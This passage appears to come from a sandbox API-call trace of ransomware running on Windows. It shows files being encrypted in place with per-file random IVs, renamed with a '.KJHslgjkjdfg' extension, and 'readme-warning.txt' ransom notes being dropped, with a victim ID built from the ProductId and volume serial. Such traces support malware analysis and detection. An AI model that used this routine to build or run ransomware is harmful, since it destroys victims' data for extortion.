pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.752] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.752] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.752] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.752] RegCloseKey (hKey=0x118) returned 0x0 [0151.752] GetProcessHeap () returned 0x2a0000 [0151.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.755] GetProcessHeap () returned 0x2a0000 [0151.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.755] GetProcessHeap () returned 0x2a0000 [0151.755] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.755] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.755] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.755] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.755] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.755] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.756] GetProcessHeap () returned 0x2a0000 [0151.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.756] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.756] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.756] GetProcessHeap () returned 0x2a0000 [0151.756] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f8af0 [0151.756] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\readme-warning.txt") returned 79 [0151.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.760] WriteFile (in: hFile=0x118, lpBuffer=0x2f8af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f8af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.761] CloseHandle (hObject=0x118) returned 1 [0151.762] GetProcessHeap () returned 0x2a0000 [0151.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8728 | out: hHeap=0x2a0000) returned 1 [0151.762] GetProcessHeap () returned 0x2a0000 [0151.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8af0 | out: hHeap=0x2a0000) returned 1 [0151.762] GetProcessHeap () returned 0x2a0000 [0151.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.762] GetProcessHeap () returned 0x2a0000 [0151.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.762] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.762] GetProcessHeap () returned 0x2a0000 [0151.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.762] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1 [0151.762] GetProcessHeap () returned 0x2a0000 [0151.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0151.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.765] GetProcessHeap () returned 0x2a0000 [0151.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.765] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.765] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0151.765] GetProcessHeap () returned 0x2a0000 [0151.765] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0151.765] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0151.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.766] GetProcessHeap () returned 0x2a0000 [0151.766] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.766] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.766] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.766] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.769] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.769] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.769] GetProcessHeap () returned 0x2a0000 [0151.769] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.769] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.769] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.769] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.769] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.770] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.770] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.770] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.770] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.770] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.770] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.770] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.770] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcd2ac, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xcd2ac, lpOverlapped=0x0) returned 1 [0151.785] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xcd2b0, dwBufLen=0xcd2b0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xcd2b0) returned 1 [0151.794] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.795] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcd2b0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xcd2b0, lpOverlapped=0x0) returned 1 [0151.797] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.798] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xcd384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.798] SetEndOfFile (hFile=0x118) returned 1 [0151.803] GetProcessHeap () returned 0x2a0000 [0151.803] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.803] GetProcessHeap () returned 0x2a0000 [0151.803] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.kjhslgjkjdfg")) returned 1 [0151.805] CloseHandle (hObject=0x118) returned 1 [0151.805] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0151.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.809] GetProcessHeap () returned 0x2a0000 [0151.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.809] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.809] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.809] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.809] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.809] GetProcessHeap () returned 0x2a0000 [0151.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.809] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0151.809] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.809] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0151.813] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.813] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.813] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.813] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.813] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.814] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.814] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.814] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x96a00, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x96a00, lpOverlapped=0x0) returned 1 [0151.829] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x96a00, dwBufLen=0x96a00 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x96a00) returned 1 [0151.835] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.835] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x96a00, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x96a00, lpOverlapped=0x0) returned 1 [0151.838] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.838] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x96ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.838] SetEndOfFile (hFile=0x118) returned 1 [0151.841] GetProcessHeap () returned 0x2a0000 [0151.841] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.841] GetProcessHeap () returned 0x2a0000 [0151.841] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.kjhslgjkjdfg")) returned 1 [0151.842] CloseHandle (hObject=0x118) returned 1 [0151.842] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0151.842] GetProcessHeap () returned 0x2a0000 [0151.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.842] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.842] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.842] GetProcessHeap () returned 0x2a0000 [0151.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.842] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.842] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.842] GetProcessHeap () returned 0x2a0000 [0151.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f8728 [0151.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.843] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f8728, pdwDataLen=0x290ee20 | out: pbData=0x2f8728, pdwDataLen=0x290ee20) returned 1 [0151.843] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.843] GetProcessHeap () returned 0x2a0000 [0151.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.843] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.843] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.843] GetProcessHeap () returned 0x2a0000 [0151.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.843] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.843] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.843] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.843] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.843] RegCloseKey (hKey=0x118) returned 0x0 [0151.844] GetProcessHeap () returned 0x2a0000 [0151.844] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.844] GetProcessHeap () returned 0x2a0000 [0151.844] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.844] GetProcessHeap () returned 0x2a0000 [0151.844] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.844] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.844] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.844] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.844] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.844] GetProcessHeap () returned 0x2a0000 [0151.844] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.844] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.844] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.844] GetProcessHeap () returned 0x2a0000 [0151.844] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f8af0 [0151.844] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\readme-warning.txt") returned 79 [0151.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.848] WriteFile (in: hFile=0x118, lpBuffer=0x2f8af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f8af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.849] CloseHandle 